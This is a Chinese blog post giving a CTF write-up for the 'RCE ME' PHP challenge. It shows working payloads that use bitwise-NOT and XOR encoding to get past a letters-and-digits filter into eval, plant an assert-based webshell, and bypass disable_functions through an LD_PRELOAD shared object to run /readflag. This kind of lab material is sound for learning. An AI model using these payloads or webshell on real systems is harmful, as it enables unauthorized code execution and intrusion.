一天一道ctf 第43天(php字符串异或取反绕过)

[极客大挑战 2019]RCE ME
点开题目就是源码

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

代码很简洁,就是GET传参,绕过字母和数字的限制,然后eval执行。
可以用异或拼接或者直接取反,取反比较方便,先试一下system(‘cat /flag’)
在这里插入图片描述

?code=(~%8C%86%8C%8B%9A%92)(~%D7%D8%9C%9E%8B%DF%D0%99%93%9E%98%D8%D6);

没有反应,可能有什么被过滤了,再来查看一下phpinfo页面看看有没有什么提示,看到这里禁用了很多函数。

?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
这样的话只能先构造webshell用蚁剑连接以后试试它的绕过功能了。
在这里插入图片描述

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

在这里插入图片描述
看到了一个flag和一个readflag,但还是不能执行命令。可以用蚁剑的插件绕过disable_function,但是下载插件需要科学上网,我网不好上不去就算了。
在这里插入图片描述
在这里插入图片描述
看了网上的wp,可以从这个github上下载两个文件bypass_disablefunc.php和bypass_disablefunc_x64.so
然后上传至蚁剑上连接的var/tmp文件夹中,再执行以下payload即可。这里用的是异或绕过,%fe%fe%fe%fe^%a1%b9%bb%aa计算后是_GET.

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
在这里插入图片描述

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

在这里插入图片描述

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值